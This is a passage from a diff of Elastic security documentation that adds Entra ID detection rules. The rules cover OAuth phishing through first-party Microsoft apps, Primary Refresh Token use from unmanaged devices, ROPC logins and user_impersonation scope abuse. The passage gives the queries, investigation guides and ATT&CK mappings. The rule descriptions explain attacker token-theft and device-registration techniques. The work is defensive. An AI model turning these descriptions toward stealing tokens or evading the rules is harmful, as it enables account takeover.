Esql.source_as_organization_name_values, + Esql.azure_signinlogs_properties_authentication_protocol_values, + Esql.azure_signinlogs_properties_authentication_requirement_values, + Esql.azure_signinlogs_properties_is_interactive_values, + Esql.azure_signinlogs_properties_incoming_token_type_values, + Esql.azure_signinlogs_properties_token_protection_status_details_sign_in_session_status_values, + Esql.azure_signinlogs_properties_session_id_count_distinct, + Esql.azure_signinlogs_properties_app_display_name_values, + Esql.azure_signinlogs_properties_app_id_values, + Esql.azure_signinlogs_properties_resource_id_values, + Esql.azure_signinlogs_properties_resource_display_name_values, + Esql.azure_signinlogs_properties_app_owner_tenant_id_values, + Esql.azure_signinlogs_properties_resource_owner_tenant_id_values, + Esql.azure_signinlogs_properties_conditional_access_status_values, + Esql.azure_signinlogs_properties_risk_state_values, + Esql.azure_signinlogs_properties_risk_level_aggregated_values, + Esql.azure_signinlogs_properties_device_detail_browser_values, + Esql.azure_signinlogs_properties_device_detail_operating_system_values, + Esql.user_agent_original_values, + Esql.is_browser_case_max, + Esql.event_count + +| where + Esql.source_address_count_distinct >= 2 and + Esql.azure_signinlogs_properties_session_id_count_distinct == 1 and + Esql.is_browser_case_max >= 1 and + Esql.event_count >= 2 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Link +** ID: T1566.002 +** Reference URL: https://attack.mitre.org/techniques/T1566/002/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal Application Access Token +** ID: T1528 +** Reference URL: https://attack.mitre.org/techniques/T1528/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Application Access Token +** ID: T1550.001 +** Reference URL: https://attack.mitre.org/techniques/T1550/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-oauth-phishing-via-first-party-microsoft-application.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-oauth-phishing-via-first-party-microsoft-application.asciidoc new file mode 100644 index 0000000000..5842d09ed8 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-oauth-phishing-via-first-party-microsoft-application.asciidoc @@ -0,0 +1,215 @@ +[[prebuilt-rule-8-19-34-entra-id-oauth-phishing-via-first-party-microsoft-application]] +=== Entra ID OAuth Phishing via First-Party Microsoft Application + +Detects potentially suspicious OAuth authorization activity in Microsoft Entra ID where first-party Microsoft applications from the FOCI (Family of Client IDs) group request access to Microsoft Graph or legacy Azure AD resources. Developer tools like Azure CLI, Visual Studio Code, and Azure PowerShell accessing these resources are flagged, as they are commonly abused in phishing campaigns like ConsentFix. Additionally, any FOCI family application accessing the deprecated Windows Azure Active Directory resource is flagged since this API is rarely used legitimately and attackers target it for stealth. First-party apps are trusted by default in all tenants and cannot be blocked, making them ideal for OAuth phishing attacks. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-azure.signinlogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/azure/active-directory/reports-monitoring/reference-azure-monitor-sign-ins-log-schema +* https://www.volexity.com/blog/2025/04/22/phishing-for-codes-russian-threat-actors-target-microsoft-365-oauth-workflows/ +* https://pushsecurity.com/blog/consentfix +* https://github.com/secureworks/family-of-client-ids-research + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Sign-In Logs +* Use Case: Identity and Access Audit +* Resources: Investigation Guide +* Tactic: Initial Access +* Noise: Medium +* Performance: Fast +* Profile: Recommended +* Threat: AiTM Phishing +* Rule Type: Custom Query (KQL) +* Platform: Entra ID +* Domain: Identity + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID OAuth Phishing via First-Party Microsoft Application* + + +This rule detects OAuth authorization activity where FOCI (Family of Client IDs) applications access Microsoft Graph or legacy Azure AD resources. Adversaries exploit these trusted first-party apps in phishing campaigns like ConsentFix to steal authorization codes and exchange them for tokens from attacker infrastructure. Because first-party apps are pre-consented and cannot be blocked, attackers use them to bypass consent prompts and access user data without triggering typical OAuth alerts. + +The rule uses split detection logic: developer tools (Azure CLI, VSCode, PowerShell) accessing either Graph or legacy AAD are flagged, while any FOCI app accessing legacy AAD is flagged since this deprecated API is rarely used legitimately and attackers target it for stealth. + + +*Possible investigation steps* + + +- Review `azure.signinlogs.properties.user_principal_name` to identify the affected user and determine if they are a high-value target (privileged roles, executives, IT admins). +- Analyze `source.ip` and `source.geo.*` for geographic anomalies. ConsentFix attackers exchange codes from different IPs than the victim's location. +- Check `azure.signinlogs.properties.app_display_name` to confirm which first-party application was used. Azure CLI or PowerShell access by non-developers is suspicious. +- Examine `azure.signinlogs.properties.resource_id` to identify the target resource. Legacy AAD (`00000002-0000-0000-c000-000000000000`) access is unusual for most users. +- Review `azure.signinlogs.properties.is_interactive` - non-interactive sign-ins shortly after interactive ones from different IPs indicate token replay. +- Correlate with other sign-in events using `azure.signinlogs.properties.session_id` to identify the full OAuth flow sequence. +- Pivot to `azure.graphactivitylogs` to search for subsequent Graph API activity from the same session or user from unusual locations. +- Check `azure.auditlogs` for device registration events around the same timeframe, which may indicate persistence attempts. + + +*False positive analysis* + + +- Developers or IT administrators legitimately using Azure CLI, PowerShell, or VS Code to access Microsoft Graph or Azure AD. +- Enterprise automation or CI/CD pipelines using these tools with user-delegated permissions. +- Users working from multiple locations (VPN, travel) may show different IPs. +- Consider excluding known developer machines, managed devices, or specific user groups that regularly use these tools. +- Maintain an allowlist of expected source IPs tied to corporate infrastructure or developer environments. + + +*Response and remediation* + + +- Contact the user immediately to confirm if they initiated the OAuth flow and used the detected application. +- If unauthorized, revoke all refresh tokens for the user via Microsoft Entra ID portal or PowerShell. +- Review the user's recent Microsoft Graph activity (email access, file downloads, Teams messages) for signs of data exfiltration. +- Block the source IP if confirmed malicious. +- Check for any devices registered during this session via `azure.auditlogs` and remove unauthorized device registrations. +- Implement Conditional Access policies to restrict OAuth flows for these applications to compliant devices only. +- Educate users about OAuth phishing and the risks of pasting authorization codes into websites. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "azure.signinlogs" and +event.action: "Sign-in activity" and +event.outcome: "success" and +( + ( + azure.signinlogs.properties.app_id: ( + "aebc6443-996d-45c2-90f0-388ff96faa56" or + "04b07795-8ddb-461a-bbee-02f9e1bf7b46" or + "1950a258-227b-4e31-a9cf-717495945fc2" + ) and ( + azure.signinlogs.properties.resource_id: ("00000003-0000-0000-c000-000000000000" or "00000002-0000-0000-c000-000000000000") or + azure.signinlogs.properties.resource_display_name: ("Microsoft Graph" or "Windows Azure Active Directory") + ) + ) or + ( + azure.signinlogs.properties.app_id: ( + "00b41c95-dab0-4487-9791-b9d2c32c80f2" or + "1fec8e78-bce4-4aaf-ab1b-5451cc387264" or + "26a7ee05-5602-4d76-a7ba-eae8b7b67941" or + "27922004-5251-4030-b22d-91ecd9a37ea4" or + "4813382a-8fa7-425e-ab75-3b753aab3abb" or + "ab9b8c07-8f02-4f72-87fa-80105867a763" or + "872cd9fa-d31f-45e0-9eab-6e460a02d1f1" or + "af124e86-4e96-495a-b70a-90f90ab96707" or + "2d7f3606-b07d-41d1-b9d2-0d0c9296a6e8" or + "844cca35-0656-46ce-b636-13f48b0eecbd" or + "87749df4-7ccf-48f8-aa87-704bad0e0e16" or + "cf36b471-5b44-428c-9ce7-313bf84528de" or + "0ec893e0-5785-4de6-99da-4ed124e5296c" or + "22098786-6e16-43cc-a27d-191a01a1e3b5" or + "4e291c71-d680-4d0e-9640-0a3358e31177" or + "57336123-6e14-4acc-8dcf-287b6088aa28" or + "57fcbcfa-7cee-4eb1-8b25-12d2030b4ee0" or + "66375f6b-983f-4c2c-9701-d680650f588f" or + "a40d7d7d-59aa-447e-a655-679a4107e548" or + "a569458c-7f2b-45cb-bab9-b7dee514d112" or + "b26aadf8-566f-4478-926f-589f601d9c74" or + "c0d2a505-13b8-4ae0-aa9e-cddd5eab0b12" or + "d326c1ce-6cc6-4de2-bebc-4591e5e13ef0" or + "e9c51622-460d-4d3d-952d-966a5b1da34c" or + "eb539595-3fe1-474e-9c1d-feb3625d1be5" or + "ecd6b820-32c2-49b6-98a6-444530e5a77a" or + "f05ff7c9-f75a-4acd-a3b5-f4b6a870245d" or + "f44b1140-bc5e-48c6-8dc0-5cf5a53c0e34" or + "be1918be-3fe3-4be9-b32b-b542fc27f02e" or + "cab96880-db5b-4e15-90a7-f3f1d62ffe39" or + "d7b530a4-7680-4c23-a8bf-c52c121d2e87" or + "dd47d17a-3194-4d86-bfd5-c6ae6f5651e3" or + "e9b154d0-7658-433b-bb25-6b8e0a8a7c59" + ) and ( + azure.signinlogs.properties.resource_id: "00000002-0000-0000-c000-000000000000" or + azure.signinlogs.properties.resource_display_name: "Windows Azure Active Directory" + ) + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Link +** ID: T1566.002 +** Reference URL: https://attack.mitre.org/techniques/T1566/002/ +* Technique: +** Name: Trusted Relationship +** ID: T1199 +** Reference URL: https://attack.mitre.org/techniques/T1199/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal Application Access Token +** ID: T1528 +** Reference URL: https://attack.mitre.org/techniques/T1528/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Application Access Token +** ID: T1550.001 +** Reference URL: https://attack.mitre.org/techniques/T1550/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-oauth-prt-issuance-to-non-managed-device-detected.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-oauth-prt-issuance-to-non-managed-device-detected.asciidoc new file mode 100644 index 0000000000..79fd8d7ea8 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-oauth-prt-issuance-to-non-managed-device-detected.asciidoc @@ -0,0 +1,171 @@ +[[prebuilt-rule-8-19-34-entra-id-oauth-prt-issuance-to-non-managed-device-detected]] +=== Entra ID OAuth PRT Issuance to Non-Managed Device Detected + +Identifies when a user signs in with a refresh token using the Microsoft Authentication Broker (MAB) client, followed by a Primary Refresh Token (PRT) sign-in from the same device within 1 hour from an unmanaged device. This pattern may indicate that an attacker has successfully registered a device using ROADtx and transitioned from short-term token access to long-term persistent access via PRTs. Excluding access to the Device Registration Service (DRS) ensures the PRT is being used beyond registration, often to access Microsoft 365 resources like Outlook or SharePoint. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-azure.signinlogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 30m + +*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.volexity.com/blog/2025/04/22/phishing-for-codes-russian-threat-actors-target-microsoft-365-oauth-workflows/ +* https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/ + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Use Case: Threat Detection +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Sign-In Logs +* Tactic: Persistence +* Tactic: Initial Access +* Resources: Investigation Guide +* Noise: Medium +* Performance: Fast +* Profile: Recommended +* Threat: Device Code Phishing +* Rule Type: Event Correlation (EQL) +* Platform: Entra ID + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID OAuth PRT Issuance to Non-Managed Device Detected* + + +This rule identifies a sequence where a Microsoft Entra ID authenticates using a refresh token issued to the Microsoft Authentication Broker (MAB), followed by an authentication using a Primary Refresh Token (PRT) from the same unmanaged device. This behavior is uncommon for normal user activity and strongly suggests adversarial behavior, particularly when paired with OAuth phishing and device registration tools like ROADtx. The use of PRT shortly after a refresh token sign-in typically indicates the attacker has registered a virtual device and is now using the PRT to impersonate a registered user+device pair. The device in question is still marked as unmanaged, indicating it is not compliant with organizational policies and managed by Intune or other MDM solutions. + + +*Possible investigation steps* + +- Identify the user principal and device from `azure.signinlogs.properties.user_principal_name` and `azure.signinlogs.properties.device_detail.device_id`. +- Confirm the first sign-in event came from the Microsoft Auth Broker (`app_id`) with `incoming_token_type: refreshToken`. +- Ensure the device has a `trust_type` of "Azure AD joined" and that the `sign_in_session_status` is "unbound". +- Confirm the second sign-in used `incoming_token_type: primaryRefreshToken` and that the `resource_display_name` is not "Device Registration Service". +- Investigate any Microsoft Graph, Outlook, or SharePoint access occurring shortly after. +- Review conditional access policy outcomes and determine whether MFA or device compliance was bypassed. + + +*False positive analysis* + +- Legitimate device onboarding and sign-ins using hybrid-joined endpoints may trigger this rule. +- Rapid device provisioning in enterprise environments using MAB could generate similar token behavior. +- Use supporting signals, such as IP address changes, geolocation, or user agent anomalies, to reduce noise. + + +*Response and remediation* + +- Investigate other sign-in patterns and assess whether token abuse has occurred. +- Revoke PRT sessions via Microsoft Entra ID or Conditional Access. +- Remove or quarantine the suspicious device registration. +- Require password reset and enforce MFA. +- Audit and tighten device trust and conditional access configurations. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by azure.signinlogs.properties.user_id, azure.signinlogs.properties.device_detail.device_id with maxspan=1h + [authentication where + data_stream.dataset == "azure.signinlogs" and + azure.signinlogs.category == "NonInteractiveUserSignInLogs" and + azure.signinlogs.properties.app_id == "29d9ed98-a469-4536-ade2-f981bc1d605e" and + azure.signinlogs.properties.incoming_token_type == "refreshToken" and + azure.signinlogs.properties.device_detail.trust_type == "Azure AD joined" and + azure.signinlogs.properties.device_detail.device_id != null and + azure.signinlogs.properties.token_protection_status_details.sign_in_session_status == "unbound" and + azure.signinlogs.properties.user_type == "Member" and + azure.signinlogs.result_signature == "SUCCESS" + ] + [authentication where + data_stream.dataset == "azure.signinlogs" and + azure.signinlogs.properties.incoming_token_type == "primaryRefreshToken" and + azure.signinlogs.properties.resource_display_name != "Device Registration Service" and + azure.signinlogs.result_signature == "SUCCESS" and + azure.signinlogs.properties.device_detail.is_managed != true + and not ( + azure.signinlogs.properties.app_display_name == "Windows Sign In" or + user_agent.original == "Windows-AzureAD-Authentication-Provider/1.0" + ) + ] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Device Registration +** ID: T1098.005 +** Reference URL: https://attack.mitre.org/techniques/T1098/005/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal Application Access Token +** ID: T1528 +** Reference URL: https://attack.mitre.org/techniques/T1528/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Application Access Token +** ID: T1550.001 +** Reference URL: https://attack.mitre.org/techniques/T1550/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-oauth-ropc-grant-login-detected.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-oauth-ropc-grant-login-detected.asciidoc new file mode 100644 index 0000000000..46d174dc60 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-oauth-ropc-grant-login-detected.asciidoc @@ -0,0 +1,139 @@ +[[prebuilt-rule-8-19-34-entra-id-oauth-ropc-grant-login-detected]] +=== Entra ID OAuth ROPC Grant Login Detected + +Detects unusual resource owner password credential (ROPC) login attempts by a user principal in Microsoft Entra ID. ROPC is a legacy authentication flow that allows applications to obtain tokens by directly providing user credentials. This method is less secure and can be exploited by adversaries to gain access to user accounts without requiring multi-factor authentication (MFA), especially during enumeration or password spraying. This is a New Terms rule that identifies when user principals are involved in ROPC login attempts, not seen before in the last 10 days, indicating potential abuse or unusual activity. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-azure.signinlogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.proofpoint.com/us/blog/threat-insight/attackers-unleash-teamfiltration-account-takeover-campaign +* https://dirkjanm.io/assets/raw/Finding%20Entra%20ID%20CA%20Bypasses%20-%20the%20structured%20way.pdf +* https://learn.microsoft.com/en-us/entra/identity-platform/v2-oauth-ropc +* https://redcanary.com/blog/threat-detection/bav2ropc/ +* https://www.huntress.com/blog/lshiy-password-spray-attack + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Sign-In Logs +* Use Case: Identity and Access Audit +* Tactic: Initial Access +* Resources: Investigation Guide +* Noise: Medium +* Performance: Fast +* Rule Type: New Terms +* Platform: Entra ID + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID OAuth ROPC Grant Login Detected* + + +This rule detects unusual login attempts using the Resource Owner Password Credentials (ROPC) flow in Microsoft Entra ID. ROPC allows applications to obtain tokens by directly providing user credentials, bypassing multi-factor authentication (MFA). This method is less secure and can be exploited by adversaries to gain access to user accounts, especially during enumeration or password spraying. + + +*Possible investigation steps* + +- Review the `azure.signinlogs.properties.user_principal_name` field to identify the user principal involved in the ROPC login attempt. Check if this user is expected to use ROPC or if it is an unusual account for this type of authentication. +- Analyze the `azure.signinlogs.properties.authentication_protocol` field to confirm that the authentication protocol is indeed ROPC. This protocol is typically used in legacy applications or scripts that do not support modern authentication methods. +- Check the `user_agent.original` field to identify potentially abused open-source tools or scripts that may be using ROPC for unauthorized access such as TeamFiltration or other enumeration tools. +- Review the `azure.signinlogs.properties.app_display_name` or `azure.signinlogs.properties.app_id` to determine which application is attempting the ROPC login. FOCI applications are commonly used for enumeration and password spraying. +- Investigate the `azure.signinlogs.properties.client_ip` to identify the source of the login attempt. Check if the IP address is associated with known malicious activity or if it is a legitimate user location. +- Review the `azure.signinlogs.properties.authentication_details` field for any additional context on the authentication attempt, such as whether it was successful or if there were any errors. +- Examine the `azure.signinlogs.properties.applied_conditional_access_policies` to see if any conditional access policies were applied during the login attempt. If no policies were applied, this could indicate a potential bypass of security controls. +- Identify the resource requested access to by checking the `azure.signinlogs.properties.resource_display_name` or `azure.signinlogs.properties.resource_id`. This can help determine if the login attempt was targeting sensitive resources or applications such as Exchange Online, SharePoint, or Teams. + + +*False positive analysis* + +- Legitimate applications or scripts that use ROPC for automation purposes may trigger this rule. +- Some legacy applications may still rely on ROPC for authentication, especially in environments where modern authentication methods are not fully implemented. +- Internal security tools or scripts that perform automated tasks using ROPC may generate false positives if they are not properly whitelisted or excluded from the rule. + + +*Response and remediation* + +- If the ROPC login attempt is confirmed to be malicious, immediately block the user account and reset the password to prevent further unauthorized access. +- Consider enforcing multi-factor authentication (MFA) for the user account to enhance security and prevent future unauthorized access attempts. +- Review and update conditional access policies to restrict the use of ROPC for sensitive accounts or applications, ensuring that MFA is required for all login attempts. +- Investigate the source of the ROPC login attempt, including the application and IP address, to determine if there are any additional indicators of compromise or ongoing malicious activity. +- Monitor the user account and related resources for any further suspicious activity or unauthorized access attempts, and take appropriate actions to mitigate any risks identified. +- Educate users about the risks associated with ROPC and encourage them to use more secure authentication methods, such as OAuth 2.0 or OpenID Connect, whenever possible. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "azure.signinlogs" and + ( + azure.signinlogs.properties.authentication_protocol: "ropc" or + user_agent.original: "BAV2ROPC" + ) and + azure.signinlogs.properties.authentication_requirement: "singleFactorAuthentication" and + azure.signinlogs.properties.user_type: "Member" and + event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-oauth-user-impersonation-scope-for-unusual-user-and-client.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-oauth-user-impersonation-scope-for-unusual-user-and-client.asciidoc new file mode 100644 index 0000000000..25f290fd89 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-oauth-user-impersonation-scope-for-unusual-user-and-client.asciidoc @@ -0,0 +1,186 @@ +[[prebuilt-rule-8-19-34-entra-id-oauth-user-impersonation-scope-for-unusual-user-and-client]] +=== Entra ID OAuth user_impersonation Scope for Unusual User and Client + +Identifies rare occurrences of OAuth workflow for a user principal that is single factor authenticated, with an OAuth scope containing user_impersonation for a token issued by Entra ID. Adversaries may use this scope to gain unauthorized access to user accounts, particularly when the sign-in session status is unbound, indicating that the session is not associated with a specific device or session. This behavior is indicative of potential account compromise or unauthorized access attempts. This rule flags when this pattern is detected for a user principal that has not been seen in the last 10 days, indicating potential abuse or unusual activity. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-azure.signinlogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://aadinternals.com/post/phishing/ +* https://dirkjanm.io/assets/raw/Finding%20Entra%20ID%20CA%20Bypasses%20-%20the%20structured%20way.pdf +* https://github.com/Flangvik/TeamFiltration +* https://www.proofpoint.com/us/blog/threat-insight/attackers-unleash-teamfiltration-account-takeover-campaign + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Use Case: Threat Detection +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Sign-In Logs +* Platform: Entra ID +* Tactic: Initial Access +* Tactic: Defense Evasion +* Rule Type: New Terms +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID OAuth user_impersonation Scope for Unusual User and Client* + + +Identifies rare occurrences of OAuth workflow for a user principal that is single factor authenticated, with an OAuth scope containing `user_impersonation`, and a token issuer type of `AzureAD`. This rule is designed to detect suspicious +OAuth user impersonation attempts in Microsoft Entra ID, particularly those involving the `user_impersonation` scope, which is often used by adversaries to gain unauthorized access to user accounts. The rule focuses on sign-in events where +the sign-in session status is `unbound`, indicating that the session is not associated with a specific device or session, making it more vulnerable to abuse. This behavior is indicative of potential account compromise or +unauthorized access attempts, especially when the user type is `Member` and the sign-in outcome is `success`. The rule aims to identify these events to facilitate timely investigation and response to potential security incidents. This is a New Terms rule that flags when this pattern is detected for a user principal that has not been seen in the last 10 days, indicating potential abuse or unusual activity. + + +*Possible investigation steps* + + +- Review the `azure.signinlogs.properties.user_principal_name` field to identify the user principal involved in the OAuth workflow. +- Check the `azure.signinlogs.properties.authentication_processing_details.Oauth Scope Info` field for the presence of `user_impersonation`. This scope is commonly used in OAuth flows to allow applications to access user resources on behalf of the user. +- Confirm that the `azure.signinlogs.properties.authentication_requirement` is set to `singleFactorAuthentication`, indicating that the sign-in did not require multi-factor authentication (MFA). This can be a red flag, as MFA is a critical security control that helps prevent unauthorized access. +- Review the `azure.signinlogs.properties.app_display_name` or `azure.signinlogs.properties.app_id` to identify the application involved in the OAuth workflow. Check if this application is known and trusted, or if it appears suspicious or unauthorized. FOCI applications are commonly abused by adversaries to evade security controls or conditional access policies. +- Analyze the `azure.signinlogs.properties.client_ip` to determine the source of the sign-in attempt. Look for unusual or unexpected IP addresses, especially those associated with known malicious activity or geographic locations that do not align with the user's typical behavior. +- Examine the `azure.signinlogs.properties.resource_display_name` or `azure.signinlogs.properties.resource_id` to identify the resource being accessed during the OAuth workflow. This can help determine if the access was legitimate or if it targeted sensitive resources. It may also help pivot to other related events or activities. +- Use the `azure.signinlogs.properties.session_id` or `azure.signinlogs.properties.correlation_id` to correlate this event with other related sign-in events or activities. This can help identify patterns of suspicious behavior or potential account compromise. + + +*False positive analysis* + + +- Some legitimate applications may use the `user_impersonation` scope for valid purposes, such as accessing user resources on behalf of the user. If this is expected behavior, consider adjusting the rule or adding exceptions for specific applications or user principals. +- Users may occasionally authenticate using single-factor authentication for specific applications or scenarios, especially in environments where MFA is not enforced or required. If this is expected behavior, consider adjusting the rule or adding exceptions for specific user principals or applications. +- Some applications may use the `user_impersonation` scope for legitimate purposes, such as accessing user resources in a controlled manner. If this is expected behavior, consider adjusting the rule or adding exceptions for specific applications or user principals. +- The `restricted_user_impersonation` scope is distinct from `user_impersonation` and is excluded. +- Expected OCaaS bootstrap requests from Exchange Online or Microsoft Forms Web are excluded when they originate from compliant, managed, joined Windows devices and do not use an incoming refresh token or primary refresh token. + + +*Response and remediation* + + +- Contact the user to validate the OAuth workflow and assess whether they were targeted or tricked by a malicious actor. +- If the OAuth workflow is confirmed to be malicious: + - Block the user account and reset the password to prevent further unauthorized access. + - Revoke active sessions and refresh tokens associated with the user principal. + - Review the application involved in the OAuth workflow and determine if it should be blocked or removed from the tenant. + - Investigate the source of the sign-in attempt, including the application and IP address, to determine if there are any additional indicators of compromise or ongoing malicious activity. + - Monitor the user account and related resources for any further suspicious activity or unauthorized access attempts, and take appropriate actions to mitigate any risks identified. +- Educate users about the risks associated with OAuth user impersonation and encourage them to use more secure authentication methods, such as OAuth 2.0 or OpenID Connect, whenever possible. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:azure.signinlogs and +azure.signinlogs.properties.authentication_processing_details:(*user_impersonation* and not *restricted_user_impersonation*) and +azure.signinlogs.properties.authentication_requirement:singleFactorAuthentication and +azure.signinlogs.properties.token_issuer_type:AzureAD and +azure.signinlogs.properties.token_protection_status_details.sign_in_session_status:unbound and +azure.signinlogs.properties.user_type:Member and +azure.signinlogs.properties.conditional_access_status:"notApplied" and +not user_agent.original:(Microsoft*Authentication*iPhone* or Mozilla*PKeyAuth/1.0) and +not azure.signinlogs.properties.device_detail.operating_system:(Android* or Ios*) and +event.outcome:success and +not azure.signinlogs.properties.app_id:( + 0000000c-0000-0000-c000-000000000000 or + 0a5f63c0-b750-4f38-a71c-4fc0d58b89e2 or + 48af08dc-f6d2-435f-b2a7-069abd99c086 or + 5e3ce6c0-2b1f-4285-8d4b-75ee78787346 or + 65d91a3d-ab74-42e6-8a2f-0add61688c74 or + 